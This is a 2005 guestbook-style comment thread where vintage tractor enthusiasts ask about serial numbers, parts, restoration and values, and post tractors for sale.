Gene from Wis. wrote on Thursday, March 17, 2005 (PST):I just received a small metal tag with a slot on top which I think had a leather strap on it for ataching to you belt. It has "Rumely DoAll Tractor", with a picture of a tractor on the front and on the back it says,"Advance Rumely Threashing Co. Inc., La Porte, Indiana, Power Farming Machinery Specialists". Anyone one know about what year this could be from or where it came from? Thank you.
Codie wrote on Thursday, March 17, 2005 (PST):I own a 770 gas, very good tractor. Always starts and runs well.
Jeff LaFountain wrote on Tuesday, March 15, 2005 (PST):I have a 1933 F12 on rubber with a single wheel/fork front end. Can you please help me find Rear wheels? I restored this tractor in high school (1973) and it set up on my Dad's place while I was in the Navy for 21+ years. I want to get in shape for competitive pulling but the rear wheels are rusted off it.
Mike wrote on Tuesday, March 15, 2005 (PST):I have a Ford Funk 6 cylinder tractor on the ebay auction that is ending Monday 3/21/05 for those interested. Just go to www.ebay.com and type in the listing number 7500194224 in the search box and hit enter. Or type in " FUNK 7HNN "
Dave Shoop wrote on Monday, March 14, 2005 (PST):I've just acquired a '52 JD 60 as a restoration project. It has a 6 X 3 power block. What does that mean?
Billy W. McGhee wrote on Monday, March 14, 2005 (PST):Looking for a 1950 Oliver front wheel asst with the Gimmy D. would like to restore it. would like it to have cab if there is such a machine. if there is email me. thanks bwmc
Darrell Sinclair wrote on Monday, March 14, 2005 (PST):I have what I beleive to be a john deere model l engine and front cowling (sheet metal) for sale.
Darrell Sinclair wrote on Monday, March 14, 2005 (PST):I have a John Deere D for sale the tractor used to be on steel rims and was converted to rubber. the tractor was running when it was parked model and serial # unknown.
Chad wrote on Sunday, March 13, 2005 (PST):I have recently purchased a 300 Utility. Any suggestions on the steering? Currently, there is about 3/4 of a turn of play in the steering. I have been told to adjust the nut and slotted bolt on the sides of the steering column but this only made the steering wheel harder to turn.
bruce wrote on Sunday, March 13, 2005 (PST):I have ordered some of Bob Merten's sheet metal for my aos. I still need to get a grill but Bob isn't making one, he can't get the letters across the front to come out right. If anybody has a aos metal grill, [new or used] please email me back.
kelly wrote on Sunday, March 13, 2005 (PST):I have an AC '39 WC not in the greatest of condition. Hasn't ran in years, but every thing is there. Anyone interested or know if it is worth anything?
Richard Shuster wrote on Sunday, March 13, 2005 (PST):I have recently purchased a Massey Harris 55 serial number 55GS4921, with a 382 gas engine serial number MJA382G. I need a overhaul kit and a manifold and can't seem to find parts anywhere for this. PLEASE HELP!!!!! 816-596-0466
Jim wrote on Sunday, March 13, 2005 (PST):ford 800 hydraulics, needs some adjustments made, comes up when it decides to and pto live power clutch needs adjusted, will not engage unless you shut off the tractor. Can any one help ? any free manuals i can get and down load on the net ? Thank you Jim..
Charles wrote on Saturday, March 12, 2005 (PST):Need help!! I have just purchased what I have been told is a 1923 McCormmick Deering Farm-all. I can find no serial number plate, but the cast number on the clutch housing is 1479D, and I found on the front of engine a number 1565 DA, on the rail in front of the radiator I found the number 63776. Any help with this would be appreciated. I am also looking for steel wheels for the front, It has steel on the rear and has been modified by cutting the steel wheels off and welding trailer rims in their place.Motor is froze but everything else is there.The pto engages in the forward position if this helps in finding out the correct year.Any photo's and places for manuals,parts,and decals would behelpful as this is my first attemp at restoration of farm equipment.
Rob wrote on Saturday, March 12, 2005 (PST):I love old tractors! Does any one know the value of an OC4?
Lynn Klingaman wrote on Friday, March 11, 2005 (PST):Lynn Klingaman 260-799-5920 - Do you need Sheppard Information or Parts? Call or email - I do not have a computer but my daughter will get the email - I have supplied many parts to many tractor/engine owners of Sheppard produced items.
Hoz Compton wrote on Friday, March 11, 2005 (PST):My brothers and I are interested in selling our grandfather's 1939 #66 Row Crop to put the money into his old Dodge truck. Tractor is located in Georgia. Please e-mail me with value. Thanks Hoz
Steve Bauer wrote on Thursday, March 10, 2005 (PST):I am in-process of buying a 550 Oliver (gas). I was told it is late 60's vintage. It has a heavy duty front loader and rear PTO, all original and in good working order. If anyone can help me determine the exact year and HP, I would greatly appreciate it. I don't think it needs much work right now but would like to know where to get replacement parts if/when needed.
Joe Kohnen wrote on Thursday, March 10, 2005 (PST):Can anyone tell me the difference between a series 3 and a series 4 D17 tractor? Thank you.
curt wrote on Wednesday, March 09, 2005 (PST):nice tractor
Les wrote on Wednesday, March 09, 2005 (PST):Wanted; Farmall 140 If you have one for sale please email me. 200 miles from Western Kentucky. Project or complete tractor
Ken wrote on Wednesday, March 09, 2005 (PST):Nice Tractor
Flora wrote on Tuesday, March 08, 2005 (PST):My family is setteling my parents estate. There is a john deer G tractor in running condition. How do we find out what this tractor is worth. I think it was bought new around 1950. we could hear that thing coming home from half a mile away. We knew it was time for us kids to act right.
Keith Smith wrote on Tuesday, March 08, 2005 (PST):I am looking for someone with a old tractor in kentucky that they would give away for the powell county FFA chapter to restore
Sheridan wrote on Tuesday, March 08, 2005 (PST):Thanks , It is a real nice little tractor , new rear tires ,all tin with only 2 small dents and all the implements . Runs like a top
Lowell Spitler wrote on Tuesday, March 08, 2005 (PST):The only new tractor i ever owned was a 1956 60 row crop that i sold in the early 60s after loosing some of my rented ground and didn`t need any more. The serial no. was 6058433 . Does anyone know where this tractor is located? It was sold in west central Ohio. God bless America!!!!!!
FC DON wrote on Monday, March 07, 2005 (PST):Sheridan, your Farmall C is a 1951. I have a 1950. Good tractor. F C Don
a wrote on Monday, March 07, 2005 (PST):how many hand plows going on?
Dan Bock wrote on Monday, March 07, 2005 (PST):I am helping a friend who just bought a 15-25 look for a hood and fenders. Any help or information would be greatly appreciater, thank you
steve wrote on Sunday, March 06, 2005 (PST):!!!! for sale !!!! I have a massey harris (poney) whit a lot of things to put at the back like a lawn mower,many farm work machine a chain set for the back weels .tractor work's good .send me e mail
Jerry Herger wrote on Saturday, March 05, 2005 (PST): I have an original 1958 Oliver 550 and it is a great tractor. We have the Model 57 mid mount sickle that I need parts for. Anyone out there have a junker? Our 550 has the regular red rear rims(non power adjust) and it appears that only early 58's had these as a hold over from the super 55's. It also has the the 144 cube engine which is the same as the super 55's. About 35 HP. It will never be sold since it was my Dad's. We don't use it much but it was fun growing up with it. It also came with Ollie double plows and harrow and also an ollie hay wagon. AGCO would make a fortune if they started making them again. Did I hear Ford is doing a limited run of their old N-series? By the way anyone out there have the red rear rims on their 58? I am trying to determine how many had them. E-mail me please.
greg wrote on Saturday, March 05, 2005 (PST):Hi i have a 300 utility tractor and the pto wont stop turning there is a handle on the right side but it doesent seem to work does anyone know about this or maybe send me a picture of the inside of pto or know where i can get help Thanks from niagara falls ont
Jimbo Wilson wrote on Saturday, March 05, 2005 (PST):I have a 2010 for sale tractor is mostly complete would be good to restore,i have two 4010s so i need the room. if interested e-mail me! thanks
Bobby Allbright wrote on Thursday, March 03, 2005 (PST): I just bought two Oliver 60 row crops. One is drawbar type the other has three point hitch. I am looking for a front grill, radiator and grill for each side of the engine. I would appreciate.
rita nesler wrote on Thursday, March 03, 2005 (PST):would like to but a 44mh wide front tractor
jason wrote on Wednesday, March 02, 2005 (PST):Who makes service tools for IH Tractors?
Tim wrote on Wednesday, March 02, 2005 (PST):My uncle has a sc that hasn't run for several years however it did run when he parked it.It is dirty and surface rust but all tin looks real strait.Does anyone have an idea of cost to restore one of these to do it right I'm talking worst case senario.Thanks
Steve DiGiovanna wrote on Wednesday, March 02, 2005 (PST):I live in Illinois and have a D21 that I might be interested in selling. Please e-mail me with questions and or comments. But would be interested if anyone knows the value of the tractor.
Jerry Maring wrote on Wednesday, March 02, 2005 (PST):I am selling my Dad's 444 MH tractor. It is in good condition with new tires, battery. It is also equipped with a loader. It has always been stored inside and is used in the winter for snow removal. manual is available. I am taking offers here in Illinois
cully ertel wrote on Wednesday, March 02, 2005 (PST):I am looking for information on a John Deere 1960 430 hycrop.
les mack wrote on Monday, February 28, 2005 (PST):does anyone have the number for the grey paint that farmall used on all the early tractors? also looking for a pair of front spoke wheels for a '36 f-20. thanks
Ted Osborne wrote on Monday, February 28, 2005 (PST):I have two rear tires and rims ,size 11x28 that I took off the one I have.Mine is a 1951 vao that looks almost new now .New tires all round ,3 point eagle hitch ,,live pto.Will sell the old rear rims if anyone needs them. Make offer! thanks, Ted O.
Josh Gill wrote on Monday, February 28, 2005 (PST):I have a CA and it is the best garden tractor I have ever owened
josh gill wrote on Monday, February 28, 2005 (PST):MY M HAS A HEAVY LOADER AND ITS REAL HARD ON THE FRONT AXLE.
Tim wrote on Monday, February 28, 2005 (PST):Where do you find the seriel number on a John Deere MT?
Jim Broughton wrote on Sunday, February 27, 2005 (PST): Billy; Your Cub is a mid-year or thereabouts 1948 Model, the 1949 models start at 57831. Have fun with it, they are great little tractors !! Jim
BILLY NANCE wrote on Sunday, February 27, 2005 (PST):i have just bought a FCUB---SERIAL NO.31507 can anyone tell me what year it is
charley wrote on Sunday, February 27, 2005 (PST):used one alot we had mounted planter cultivator amd plow also had a v.i still have part of the planter for the a. and a 5 ft disc,part of the mounted plow for the v. our a had a overdrive, i also have a book showing attachments for both tractors
charley wrote on Sunday, February 27, 2005 (PST):used one alot we had mounted planter cultivator amd plow also had a v.i still have part of the planter for the a. and a 5 ft disc,part of the mounted plow for the v. our a had a overdrive, i also have a book showing attachments for both tractors
Billy Reynolds wrote on Sunday, February 27, 2005 (PST):I'm looking for a good used Farmall B preferably a 1940 to restore I'm in Ca. but will travel for right tractor. Please send pictures or e-mail information to damit2hel at yahoo.com or call 209-368-3275
Bill Levell wrote on Saturday, February 26, 2005 (PST):My tractor was bought brand new,by my Dad in 1961 at Nugent Tractor Sales in Lawrenceburg,Indiana The color is all red except the finders and wheels. it's a Ford 671 Select-o-Speed.I have been looking for Decals,( with no luck)COULD YOU PLEASE HELP ME! The Tractor is orgnial.The Decals on the hood has a picture of a Select-O-Speed, with a gold background.Thanks,BILL~Would appreciate any info.
Patrick Coxall wrote on Wednesday, February 23, 2005 (PST):Have just paid 830€uros for a cub with double reversable plough and underslung cutterbar. I think a good price for a French Built American good baby Tractor. I have and Allis B and A Fordson E27b. Looking forward in my retirement to bring these three back to original condition, any local admirers in Finistère France? Contact me, thanks
BOBBY TIMBS wrote on Wednesday, February 23, 2005 (PST):I have two back iron wheels that I believe fit a H Farmall. Will send picture if given E-Mail address. Would like to know how much they are worth. Thanks
Brad Perkins wrote on Tuesday, February 22, 2005 (PST):I am looking for a picture of the carburetor linkage for the Cockshutt 30. I need to see the linkage on both the front and back so I tell exactly what the governor hook up should be like. Can anybody email me a photo or scan a page from a manual and email that. I have shop manual but it does not show me the connection for the Gov. linkage at the throttle shaft arm (which I am missing). Please
Barney Abernathy wrote on Tuesday, February 22, 2005 (PST):My Daddy had a 1973 one sixty diesel. It is in very good shape and condition. Needs one new front tire. Any suggestions as to what it would sell for?
Fuck wrote on Tuesday, February 22, 2005 (PST):Fuck tractors!
Kevin wrote on Monday, February 21, 2005 (PST):I am looking for a place to purchase the carburetor for a 1948 Massey Harris Pony. The number for the carb. is TSV-54U. If this carb. is not available any more, is there another model number that I can use in its place?
Al wrote on Monday, February 21, 2005 (PST):I know a fellow who has a jd crawler with bulldozer blade He doesn't have internet. If you'd like to write or call, let me know. I think he might sell it. kuntreeboy9 at aol.com
phil kleckner wrote on Monday, February 21, 2005 (PST):How can you tell the difference between To-20, and a Te-20, other than serial numbers, also does anyone know where i can find a 12volt conversion kit to fit a To-20 tractor.
alejandrino andrade peralta wrote on Monday, February 21, 2005 (PST):solicito tractores para baja california mexico, de preferencia de california y arizona. 706,766,866,1066,1466 international. 4020,4230,4440 jhon deere. gracias
Dave wrote on Monday, February 21, 2005 (PST):I used a Allis Charmlers tractor like this when I was a teenager. But they dont mention the hydrostatic type drive system which the diesel tractor that I used had
STEVE wrote on Sunday, February 20, 2005 (PST):I own a 830 rice special and pull a JD model F690AH 6-16 moldboard plow with it.After making a pass or two in the field,in second gear,to warm up the engine,I then shift to third and reduce engine rpm to 1000 and enjoy the ride! My 4020 can't begin to pull this big trailer plow! I guess the 830 (Known as the SWAMP SOW!) has real horses and not ponies for power and traction!
Herb Seaver wrote on Sunday, February 20, 2005 (PST):I have a L model case that has been in my family since it was new, it was used to run a a saw mill that my family run in manitbo canada.It is still in original conditionand i am about to restore it.My problem is that the front wheels were changed to rubber useing the steel rims and i would like to change back to steel so if any one knows wherei could pick up a pair please e mail me as it seems i am runing into dead ends thanks Herb
ron wrote on Sunday, February 20, 2005 (PST):i remember back in the late 40's or early 50's, when i was a farmer, a polish farmer in back of us got a new cockshutt 50--remembering how all us farmers were back then, we just couldnt talk enough about them buying such a tractor when all our farm neighbors and us were so faithful with the IH and JD companys. as the time went on their so called "dumb cockshutt" stayed up with all the surrounding farmers tractors. THE GREAT REMEMBERANCES OF THE OLE FARMERS FROM THE BYGONE DAYS. THIS ALL TOOK PLACE IN SARATOGA COUNTY TOWN OF CHARLTON. LONG LIVE ALL THE OLD TIME TRACTORS!!!!!!
Joe Truchard wrote on Saturday, February 19, 2005 (PST):I have what I was told was a TO-35 Ferguson. I have no serial plate. The fan has the long fan shaft like the MF-35. What's the score here?
Joe Truchard wrote on Saturday, February 19, 2005 (PST):I have an Oliver OC-3 and am wondering what engine model is suppose to be in it. Is it the IXB-3?. I also need the water pump, pto and belt pully, the throttle lever, fenders, side curtains and some other parts. Can anyone give me some help or ideas. Thanks.
Harold Heffern wrote on Saturday, February 19, 2005 (PST):I purchased a 1940 9N last fall and in process of rebuilding it. Tractor runs like a top and really wasn't in bad shape. Have trouble locating front spindles with matching thrust bearing and axle seals. I ordered some from Vaulu-Bilt Tractor, and they didn't even come close matching. Thrust bearings they sent didn't even match the spindles they sent. Neither did the front axle hub seals. My intentions were having it ready this spring to put in food plots for upcoming deer season. Anybody got any good parts stores suggestions. I live in Illinois. Thanks....
Mike Stephens wrote on Friday, February 18, 2005 (PST):My dad bought our Oliver 66 brand new in 1954 when I was six years old, the last tractor sold by that particular dealership in Parkersburg, WV. It is equiped with live PTO and hydraulectric hydraulic system with the controls on the steering column, a radical improvement over my grandad's '39 Oliver 70 with no PTO or hydraulics and my uncle's '48 model 70 with direct PTO and gear driven lift. The 66 with a Cosh side mounted sickle bar mower and New Holland 66 hayliner baler mowed and baled hay on nearly 200 combined acres for at least ten years, before my uncle and grandad upgraded to 77s and later to a 1250 and then a 1465. I still use the 66 equiped with a six foot finish mower to mow my acre of lawn and with a six foot three point hitch blade to plow snow and keep the half mile of housing development road graded. It also rakes and tedds most of our 15 or so acres of hay each summer. It's been overhauled twice years ago, but in recent years with the advent of unleaded fuel and decidedly lighter workload, it purs like kitten and runs flawlessly. I would be interested in any source of parts, though I'm surprised by the number of parts available through NAPA and Parts Plus or Bumper-to-bumper auto supply houses.
Mike Stephens wrote on Friday, February 18, 2005 (PST):My dad bought our Oliver 66 brand new in 1954 when I was six years old, the last tractor sold by that particular dealership in Parkersburg, WV. It is equiped with live PTO and hydraulectric hydraulic system with the controls on the steering column, a radical improvement over my grandad's '39 Oliver 70 with no PTO or hydraulics and my uncle's '48 model 70 with direct PTO and gear driven lift. The 66 with a Cosh side mounted sickle bar mower and New Holland 66 hayliner baler mowed and baled hay on nearly 200 combined acres for at least ten years, before my uncle and grandad upgraded to 77s and later to a 1250 and then a 1465. I still use the 66 equiped with a six foot finish mower to mow my acre of lawn and with a six foot three point hitch blade to plow snow and keep the half mile of housing development road graded. It also rakes and tedds most of our 15 or so acres of hay each summer. It's been overhauled twice years ago, but in recent years with the advent of unleaded fuel and decidedly lighter workload, it purs like kitten and runs flawlessly. I would be interested in any source of parts, though I'm surprised by the number of parts available through NAPA and Parts Plus or Bumper-to-bumper auto supply houses.
Robert wrote on Thursday, February 17, 2005 (PST):AC serial numbers can be found at allischalmers.com/serials.html They don't guarntee the accuracy though.
Roger ottoman wrote on Thursday, February 17, 2005 (PST):I HAVE SEVERAL ALLIS CHALMERS WD45'S AND WD'S AND HAVE PUT A 230 AND 262 MOTOR IN THEM.I ALSO TRACTOR PULL WITH MY WC IN A TRACTOR CLUB AND GET POINTS AWARDS FOR THE SEASON.I STILL FARM WITH ALLIS CHALMERS AND ENJOY WORKING WITH THEM.
nabila shanaz wrote on Thursday, February 17, 2005 (PST):Do you know if anyone is selling old tractors that can be used as play equipment at a children's farm.
WCPULLER wrote on Thursday, February 17, 2005 (PST):HI I HAVE A 42 ALLIS CHALMERS WC. I LOVE IT MAN CAN THAT THING PULL. IT JUST PUT A WD45 ENGINEE IN IT, POWER STEERING OF MY DAD 45. FARMALL F-20 RIMS (16.9X38) MAN SHE THE BEST TRACTOR I SEEN. I'LL NEVER TRADE HER ON ANYTHING ELSE
Jerry Manning wrote on Wednesday, February 16, 2005 (PST):For Glen Wilson, pertaining to his "C" The C's before about mid 1953 are standard "C's" and have serial numbers less than 100000. Later "C's" are "Super C's", have a few more horses, water pumps, disk brakes. Try Glen Mlnarik at "Little Red Tractor Company". E-mail gjmlnar at megavision.com serial numbers; 1948 start at 501, 49 at 22624, 50 at 47010, and 51 at 71880. Look under seat support on right side.
Glenn Wilson wrote on Wednesday, February 16, 2005 (PST):I have a Farmall C-130 single hitch with wide front wheels. Where can I find info on this tractor. When made and a source for parts.
1206 puller wrote on Tuesday, February 15, 2005 (PST):i pull a 1206 it has a 4100 IH flywheel and clutch and lots more goodies.my 1206 has pulled 12000. i won the 12,000 lb class.a challenge was issued that i could not beat a pretty warm 15,500 lb class 220 AC from our area. Bets were placed on the outcome. but my 1206 has a few more ponies under the hood. we both made full pulls. we came back around for the pull off. they added more weigh to the sled. the 220 pull it short of a full pull. the old 1206 tightened the chain and blew it out the end. the ac people were shocked. since they had ted 15500 class for 2 yearys. so go red power
trent hoyer wrote on Tuesday, February 15, 2005 (PST):i also have a 560 farmall for sale
trenton hoyer wrote on Tuesday, February 15, 2005 (PST):I have a john derre b about a 50 model i would like to sell if any one may be interested.
ken rowe wrote on Tuesday, February 15, 2005 (PST):LOOKING FOR A PICTURE OF A 65 ALLIS CHALMERS DOZER HD7 WANT TO SEE WHAT ONE LOOKS LIKE IN THE RAW,
K Plant wrote on Monday, February 14, 2005 (PST):we have a 1951 Massey 44 for slae.. check for sale ads.. restored pulling tractor has many trophies
Ox wrote on Monday, February 14, 2005 (PST):I have a K crawler identical to the one in the photo. In fact, I live south of where it was taken about an hour. I'm looking for a service manual and a good exhaust manifold if anyone can help me. Thanks!
p bullock wrote on Monday, February 14, 2005 (PST):have a 1976 black stripe open station with 7400 hours use it everday from loading have to planting have even pulled a 22ft sunflower disc usually pulled by a 7120. wouldnt trade it for the world
Jim Broughton wrote on Monday, February 14, 2005 (PST):To; Jack Welch Hey, that Cub with the quick attach is a dandy..I actually like the quick-tach implement set-up better than 3-point !! Downside....it's getting harder to find those IH implements to fit a Cub, so hang on to'em and if you can find a quick-tach plow...try it , they are really great !! Lotsa luck !! Jim
Roy Wilson wrote on Monday, February 14, 2005 (PST):I have just purchased a Super Dexta but I have been unable to find the serial number to determine the exact age for parts and such. I read that the serial number is listed vertically on or around the flange... can someone be a little more specific for the more intellectually challenged person. Thanks, Roy
Floyd Darnell wrote on Monday, February 14, 2005 (PST):I have a friend who lives on a place and there is a 1907?? Case Steam Tractor. Large metal wheels and asteam (fire)box. It actually runs, however, I cannot find a picture on the case site of a 1907 or even a 1923 steam tractor. If anyone can help send me a pic or a site. TKS!!!!
Brian Pohlman wrote on Monday, February 14, 2005 (PST):We have a D-15 series 2 that my dad got very good deal on $400. and have only had to put in a new head and recor the radeator in the past 10 years. The 15 esaly can out run catle. and it shoots a flame out the stack when you chop stalks.
Matt Gracy wrote on Sunday, February 13, 2005 (PST):We have a 1961 730 diesel and need a wide front end and fenders. Dad had its since new and I would like to fix it up some
Larry Eberwein wrote on Sunday, February 13, 2005 (PST):I have a 1940,Oliver trihal.It has fenders with a headlight on each fender and one on the back. I would like to know what the holes are that go through the frame. I would also like to know an approximate value. It runs! There are two arms (left and right) that turn when you push a pedal. What are these arms for? Behind the seat by the rear axel there is a small gear box. You push it forward, the shaft in back turns. What is that for? I aquired this tractor from my deceased Uncle. I would appreciate any information!
Phil Croft wrote on Sunday, February 13, 2005 (PST):My wife bought me a 1960 550 as a retirement project. It needs quite a bit of minor work, but it runs good. Any tips and parts sources will be deeply appreciated. Thanks
matt bain wrote on Sunday, February 13, 2005 (PST):I GREW UP ON A FARM IN COLERAIN OHIO THE TRACTORS WE USED WERE ALL JD 2CYLINDERS AN OLD A B 50 730 THESE TRACTORS ARE STILL USED TODAY I AM IN SEARCH OF ANY OF THESE MODELS FOR SALE THESE TRACTORS ARE AWESOME
Alan Watson wrote on Sunday, February 13, 2005 (PST):Looking for A Big Twin Diesel. Please email w/ as much info as possible & pix if available.Please put "JD Big Twin" in the subject line. Thanks.
Cordre Smith wrote on Sunday, February 13, 2005 (PST):Converting Standard to Orchard. The tyre size differ (30" on standard and 26" on orchard). Also the front axle is not curved as muck in the orchard, to make it lower. The standard I had also ha an upright air intake and the orchard had a low air intake (just a bulge on the bonnet. Standard had fender mounted headlights and orchard one low mounted light below grille
Wayne Newton wrote on Saturday, February 12, 2005 (PST):My FFA Grandson is restoring my grandfather's 1929 22/36 and we need the fenders. May consider putting back on steel wheels if available
Leonard Polsfut wrote on Saturday, February 12, 2005 (PST):I am looking to purchase a rear grafide rope oil seal for a 555 Massey Harris Diesel Tractor. Approximate year is 1955 and it is a 4 cylinder.
David Cornett wrote on Friday, February 11, 2005 (PST):Interested in purchasing restorable Leader tractor or parts.
dick wrote on Thursday, February 10, 2005 (PST):i am looking for a back-hoe, blade. or brush-hog for a international 300 utility, i live in nw oregon. thanks
Scott D. wrote on Thursday, February 10, 2005 (PST):Me and my brother are starting to restore an old oliver tractor. We have it all apart right now and found on the motor that it is a 1954, we have a slight idea that it is a 77, or 88 but arn't sure it has an open side panel and its seial number is 11-167-801 and its specification number is 18-0002 it would be great if we could get the right model of this tractor...help would be greatly appreciated thanks.
Jim Broughton wrote on Wednesday, February 09, 2005 (PST):To Doreena; Look on the steering box, up front at the end of the steerin wheel rod and there should be a serial number plate on there..Give me the serial number and I can determine what year Cub you have. I'm in Oregon and we have a lot of tractor parts dealers and suppliers that can help you. Y ou might start by purchasing $20.00 U.S. a repair manual from Intertec, P.O.Box 12901, Overland Park, Kansas, 66282-2901...operator's manual can be purchased from "Binder Books" in Tigard,Oregon Ph# (503) 684-2024...they also have some IH implement books as well. Good luck with your Cub Jim
Jim Broughton wrote on Wednesday, February 09, 2005 (PST):To; Marc Wilson..If it has been sitting in a field 6 or 7 years, it's probably frozen ! If the sheet metal is "fair" and the tires aren't too badly cracked, offer him $400.00 to 450.00 max...I recently looked at a "140" IH with good tires, sitting out with NO Muffler or exhaust cover...frozen up engine...got it for $300.00, so that should give you an idea ...cause you are gonna have to totally rebuild it. Lotsa luck....Jim
Ted Turnbull wrote on Wednesday, February 09, 2005 (PST):My grandfather and uncle farmed a 500 acre (300 under plow) with a farmall M which was purchased after the massey harris 81 which was thier first tractor after horses. I spent many hours on that tractor pulling a plow, a bull disc, a hay morer, and various other implements. I was to young to be let loose with the bayler,(spent my time on the wagon) or the combine. It was a great tractor but I would not want to have one on a hilly farm. I nearly tipped it over on a side hill pulling the bull disc. I was turning uphill and hit the left brake which caused the wheel to come up very quickly. Taught me a valuable lesson. It did a lot of work on that farm. My uncle would put new sleeves in nearly every winter while it was not needed. We had another 2 plow MH for intermediate work. Can't remember the model #. Farming taught me a lot of lessons that I carried with me the rest of my life. Our sociaty would be in a lot better shape if we were still had an agrarian lifestyle. Just like everything else the income kept going down while the expenses kept going up and most farmers were not college educated and didn't do well with the new ways of making money such as the stock market ect. They did very well at growing our food, so well it kept pushing prices downward which only hurt them in the end. While that is my story. Hope you enjoy it Ted
CHRISTOPHER SECOR wrote on Tuesday, February 08, 2005 (PST):I WOULD LOVE TO OWN A GREAT TRACTOR LIKE THIS ONE ITS SO BIG AND GOOD LOOKING,THIS BIG TRACTOR WOULD BE GOOD ON MY FARM I JUST CAN'T FIND ONE FOR THE RIGHT PRICE YOU NOW WHAT I MEAN.I DO HOWEVERY HAVE A 720 DIESEL TRACTOR JUST RESTORED!
Bruce Taylor wrote on Tuesday, February 08, 2005 (PST):Looking for a hood for an F-12
jerrod sisco wrote on Monday, February 07, 2005 (PST):Do you think it is wrong to do that to a fine peice of machinery.
jerrod sisco wrote on Monday, February 07, 2005 (PST):i have 3 massey harris 44s. They are all 1951s . I pull with two of them . one of them is stroked and bored plained head one quarter of an inch it has 125 horse power it also has 18.4.38 tires on it. the other one has 350 chevy pistons in it it head has been plained also it has 504 interantional valves in it.it has a mitsubushi turbo on it. The last one i bought i use for farm work.they are all painted and in good condition.
safbljkh wrote on Monday, February 07, 2005 (PST):vsn dbvws csfggabcksw
safbljkh wrote on Monday, February 07, 2005 (PST):vsn dbvws csfggabcksw
Michelle wrote on Sunday, February 06, 2005 (PST):Correction to previous entry...The tractor # is incorrect. Actual #039093
Ted Turnbull wrote on Sunday, February 06, 2005 (PST):The MH 81 was a great tractor. I cannot remember what color the engine was. I thought it was red but I was only 10 at the time. It was finally replaced by our farmall M but still did all the gofer jobs on the farm.
larry wrote on Sunday, February 06, 2005 (PST):I found this number on an old case that we bought and would like any information you could give me the number is vt 520 found below gas tank on body of tractor thank you larry
Avery Allred wrote on Sunday, February 06, 2005 (PST):Anyone interested in purchasing 100hp V8 Conversion Kits. Please Contact me. Thanks, Avery www.hotmower.com
mike wrote on Saturday, February 05, 2005 (PST):I have a running 1947 massey harris tracter to sell. can you give me some idel what it wood sell for. thanks
Hugh Leonhardt wrote on Thursday, February 03, 2005 (PST):i'm trying to find out how old my m is.the serial # is FBK 11294. thanks for in info anyone might have
Ronald Claude wrote on Wednesday, February 02, 2005 (PST):I grew up on the farm in North Central Illinois. We had two Minnies, a Z and a UT. I remember driving the Z to pull our Ann Arbor and later our Case balers when I was about 8 years old. Tells you how easy they were to operate. Do any of you remember having to get the Z rolling in 4th, pull the clutch and slip it into 5th for road use? Great tractors, and really great memories.
Kevin Brown wrote on Tuesday, February 01, 2005 (PST):.006 on the intake and .008 on the exhaust valves.
TOM M. wrote on Monday, January 31, 2005 (PST): great forem thanks for all the info I bought a cockshutt 40 with an allis DSL. engin, was scratching my head as to how it got there
Nathan Grivy wrote on Monday, January 31, 2005 (PST):My cousin is restoring a 1948 Leader tractor with a Hurcules engine. Does anyone know what the valve clearence and adjustment procedure might be?
MARCUS SAM wrote on Monday, January 31, 2005 (PST):I own a 1466 but I recently lose fourth gear. The engine has been completely rebuilt and I am looking to sell it and replace it with a 806. If anyone is interested please e-mail me at msam90 at yahoo.com. I live in Louisiana.
Patrick Arnould wrote on Monday, January 31, 2005 (PST):hey dave check out ebay, theyre always selling on there Good luck, Paddy
Ozzie Osburn wrote on Sunday, January 30, 2005 (PST):I think this is the machine I have, but I can't even spell "trakter". Can anyone advise where I will find model# etc. Engine # is 1274256 # on differental is129478. Thanks
Earle Johnson wrote on Saturday, January 29, 2005 (PST):I am looking for a pair of half-tracks & idler wheels for a Ford 600 or David Brown 1210. If anyone has a set for sale in Canada ( preferably Ont. ), please let me know.
JOHN L. TABACSKO wrote on Saturday, January 29, 2005 (PST):What year is this tractor? When I was a kid on our family farm, I drove one like this one. Does it have a six speed transmission, with two speed reverse?
Tom & Peggy wrote on Saturday, January 29, 2005 (PST):Have enjoyed reading The Farmall Shed for the last few hours. We have 2 Cubs both are 48's and a few implements. One is a 174 runner planter. If you know something about it would like to hear from you. We have found manuals at www.cleancomputes.com/Cub. For some years on models search farmall tractors, go to Brain's Farmall Tractor Page.
Jon m luther wrote on Saturday, January 29, 2005 (PST):I worked for a farmer that had 720d poney start loved that tractor fun to run had all the power you needed just sounded good like a powerhouse after runing b johndeeres done a lot of custom work with it
Philip S. Robustellini wrote on Saturday, January 29, 2005 (PST):I have recently aquired a M M Z and it is suppose to be a 1937 I'm going to restore this summer.
dennis wrote on Friday, January 28, 2005 (PST):Anyone have a swingbar for m widefrontend?thanks
Dennis wrote on Friday, January 28, 2005 (PST):I have a 41-42 farmall M.Wide frontend,hydr,12volt,Anyone have any photos of anything close?
Danny Hoover wrote on Wednesday, January 26, 2005 (PST):I started restoring allis chalmer tractors about two years ago. I purchased a cockshutt 30 here in South Carolina. The tractor had not been running in 30 some odd years but I lucked up and got it running like a top. The question I have, does cockshutt have a data book like the other tractors have for more additional information? If so where can I purchase a book. Thanks for any help.
david futrell wrote on Wednesday, January 26, 2005 (PST):looking for any ford offset tractor in any condition but restored email me at dvftrllaol.com or call 270 924 0314
david futrell wrote on Wednesday, January 26, 2005 (PST):looking for any ford offset tractor in any condition but restored. dont care if stuck. blowed up. or broke in half would pay good price or trade about anything of equal value. kentucky
john olson wrote on Tuesday, January 25, 2005 (PST):I got a bf avery tractor from a friend of mine a year or so ago with a stuck motor fixed tat Im just not shur of the model I was told it was a 1949 or 1950. The tractor has three point hauldralic and a wide front. the paint on it even loks original it also came with the threepoint machinery. plow disk mower back blade and half tracks. any help with this would be nice. i wold also like to know any value of this
shadrock wrote on Monday, January 24, 2005 (PST):I own a 1950 model flathead v8 rated 100 hp how much trouble would it be to install in 8n tractor need how to book shadetree machinist mechanic by trade or is there still a conversion kit still sold today also have a 150 trysicle diesel massey ferguson for sale in good condition very rare tractor would trade for 4000 or 5000 ford trysicle diesel type of tractor or sell outright
Ken wrote on Monday, January 24, 2005 (PST):I'm just amazed at how many "G people there are - our neighbor, when I was a kid (30+/- years ago) had an orange AC G tractor that he used on their small farm, and had built a trailer that we used to haul our trash to the dump with. My sister and I have great memories of going for a tractor ride with "Mister Mac" when he was hauling things. I was always fascinated with the tractor, simply because the G was such an unusual machine. I remember Mister Mac having to manually crank the engine to start it, but it always started on the 1st or 2nd try - I only remember one occasion when it was being stubborn. I'm glad to see so many people still interested in these, restoring them and appreciating the craftsmanship, durability and sentimental value that they have. Unfortunately, I live in the city and can't have one to play with, so I'm jealous of those who can!!
